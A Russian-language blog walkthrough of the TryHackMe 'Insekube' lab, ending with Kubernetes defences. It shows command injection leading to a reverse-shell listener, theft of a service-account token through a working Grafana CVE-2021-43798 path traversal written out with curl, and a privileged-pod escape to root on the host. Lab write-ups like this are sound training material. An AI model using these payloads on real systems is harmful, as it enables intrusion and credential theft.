Атакуем кластер Kubernetes. Разбор Insekube c TryHackme

Всем привет! В этой статье, на примере машины Insekube с TryHackme, я постараюсь показать каким образом могут быть захвачены кластера Kubernetes реальными злоумышленниками, а также рассмотрю возможные методы защиты от этого. Приятного прочтения!

Ищем точку входа

Расчехляем nmap:

nmap 10.10.221.142

Starting Nmap 7.60 ( https://nmap.org ) at 2022-06-07 17:08 BST
Nmap scan report for ip-10-10-221-142.eu-west-1.compute.internal (10.10.221.142)
Host is up (0.0015s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 02:BF:D5:06:FF:D9 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 1.59 seconds

Опираясь на название и описание тачки хотелось бы увидеть какие-нибудь порты Kubernetes, но видим торчащий наружу 80 порт. Окей, открываем адрес в браузере.

f24ef5e7b7297d90ce35b5e87788fea4.png

Пробуем подать какой-нибудь инпут и понимаем, что это обычный ping.

d3d029a103daba2c8462fe2fc7ec98d6.png

Судя по ответу, где-то исполняется реалная тулза ping. Тут же приходит идея проверить ввод на command injection — действительно работает!

0706abe00b76a6c039c9b54e17f52076.png

Недолго думая, прокидываем reverse shell и ловим бэк-коннект:

d11fc4afb0f85c3751d4c0fa3957e362.png

nc -nlvp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 10.10.221.142 57278 received!
/bin/sh: 0: can't access tty; job control turned off
$ id    
uid=1000(challenge) gid=1000(challenge) groups=1000(challenge)

Внутри контейнера

Отлично, мы внутри. Только вот внутри чего? Посмотрим переменные окружения. Видим хорошо знакомые значения для Kubernetes — отсюда делаем вывод: мы внутри Pod! Из env забираем первый флаг.

$ env
KUBERNETES_SERVICE_PORT=443
KUBERNETES_PORT=tcp://10.96.0.1:443
HOSTNAME=syringe-79b66d66d7-7mxhd
...

Внутри самого Pod для нас мало чего интересного, но у него может быть привилегированный Service Account, который может дать нам больше возможностей — например создавать такие Pod, чтобы можно было сделать побег из контейнера и вырваться на хост. Для того чтобы это проверить нам нужен kubectl. Посмотрим, есть ли он где нибудь в контейнере, вдруг не придется его скачивать его извне.

find / -name "kubectl"
find: '/etc/ssl/private': Permission denied
find: '/var/lib/apt/lists/partial': Permission denied
find: '/var/cache/apt/archives/partial': Permission denied
find: '/var/cache/ldconfig': Permission denied
find: '/proc/tty/driver': Permission denied
/tmp/kubectl

Отлично! То что нам нужно. Кто-то бережно оставил kubectl для нас в директории /tmp Проверим, достаточно ли у нас прав для создания нового Pod:

$ cd /tmp
$ ls
kubectl
$ ./kubectl auth can-i create pods
no

Да уж, не густо. Но смотреть Secrets мы можем. Там же лежит второй флаг. Будем искать другой вектор.

$ ./kubectl get secrets
NAME                    TYPE                                  DATA
default-token-8bksk     kubernetes.io/service-account-token   3
developer-token-74lck   kubernetes.io/service-account-token   3
secretflag              Opaque                                1
syringe-token-g85mg     kubernetes.io/service-account-token   3

Особо внимательные, при просмотре env, увидели, что там также хранятся переменные от Grafana — адрес и порт. Это значит, что она развернута в кластере и мы можем попробовать достучаться до неё из Pod! В контейнере также есть curl, который облегчит нам эту задачу. Пробуем постучаться на стандартный эндпоинт Grafana:

curl 10.108.133.228:3000/login

Получаем довольно большой ответ… Для начала неплохо было бы определить версию Grafana, может она устаревшая и для неё есть известные уязвимости. В начале ответа видим упоминание версии:

..."version":"8.3.0-beta2"...

По первой ссылке в гугле находим, что для этой версии присвоена CVE-2021–43798 — Grafana 8.x Path Traversal (Pre-Auth). Супер! Как нам это может быть полезно? Мы сможем прочитать Token, который относится к Service Account у Grafana Pod — он маунтится прямо внутрь контейнера. Если у этого Pod есть достаточно привилегированный Service Account, то мы сможем создать «Bad Pod» для побега на хост!

Формируем запрос с полезной нагрузкой, таким образом чтобы отработал path traversal. Не забываем выставить флаг --path-as-is, чтобы curl не схлопывал наш пэйлоад:

curl --path-as-is 10.108.133.228:3000/public/plugins/alertGroups/../../../../../../../../etc/passwd
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1230  100  1230    0     0   600k      0 --:--:-- --:--:-- --:--:--  600k
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
...

Работает! Теперь указываем путь до Token (он лежит в /var/run/secrets/kubernetes.io/serviceaccount/token) и сохраняем ответ:

curl --path-as-is 10.108.133.228:3000/public/plugins/alertGroups/../../../../../../../../var/run/secrets/kubernetes.io/serviceaccount/token
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1022  100  1022    0     0   499k      0 --:--:-- --:--:-- --:--:--  499k
eyJhbGciOiJSUzI1NiIsImtpZCI6Im82QU1WNV9qNEIwYlV3YnBGb1NXQ25UeUtmVzNZZXZQZjhPZUtUb21jcjQifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNjg2MTU5NjAzLCJpYXQiOjE2NTQ2MjM2MDMsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZX
export TOKEN=eyJhbGciOiJSUzI1NiIsImtpZCI6Im82QU1WNV9qNEIwYlV3YnBGb1NXQ25UeUtmVzNZZXZQZjhPZUt...

Ещё раз проверим возможность создавать Pod, на этот раз через новый Service Account:

$ ./kubectl auth can-i create pods --token=$TOKEN
yes

Отлично. Создаем «Bad Pod» для побега на хост:

cat <

Посмотрим, создался ли Pod:

$ ./kubectl get po --token=$TOKEN
NAME                          READY   STATUS         RESTARTS        AGE
everything-allowed-exec-pod   0/1     ErrImagePull   0               29s
grafana-57454c95cb-v4nrk      1/1     Running        10 (127d ago)   151d
syringe-79b66d66d7-7mxhd      1/1     Running        1 (127d ago)    127d

Но не всё так просто! Pod не запустился — не спуллился образ. Видимо кластер изолирован по сети. Но если образ уже ранее использовался и скачивался, то мы можем попытать удачу и выставить imagePullPolicy: IfNotPresent

...
containers:
  - name: everything-allowed-pod
    image: ubuntu
    imagePullPolicy: IfNotPresent
...

На этот раз сработало. Заходим в Pod –> оказываемся на хосте –> находим последний флаг:

$ ./kubectl get po --token=$TOKEN
NAME                          READY   STATUS    RESTARTS        AGE
everything-allowed-exec-pod   1/1     Running   0               12s
grafana-57454c95cb-v4nrk      1/1     Running   10 (127d ago)   151d
syringe-79b66d66d7-7mxhd      1/1     Running   1 (127d ago)    127d
$ ./kubectl exec -it everything-allowed-exec-pod --token=$TOKEN -- bash
Unable to use a TTY - input is not a terminal or the right kind of file
id
uid=0(root) gid=0(root) groups=0(root)

Как этого можно было избежать?

  • Network Policy — сетевые политики смогли бы ограничить общение контейнеров по сети. Например можно написать такую политику, которая запретит стучаться из Pod с веб-приложением в Pod с Grafana

  • Policy engine — имея правило на запрет создания привилегированных Pod, от Kyverno или Gatekeeper, у злоумышленника и вовсе не получилось бы сбежать на хост. Запрос не прошел бы через webhook

  • Runtime observability & security — знание и полная видимость происходящего в кластере позволили бы заметить и остановить злоумышленника ещё в начале атаки

© Habrahabr.ru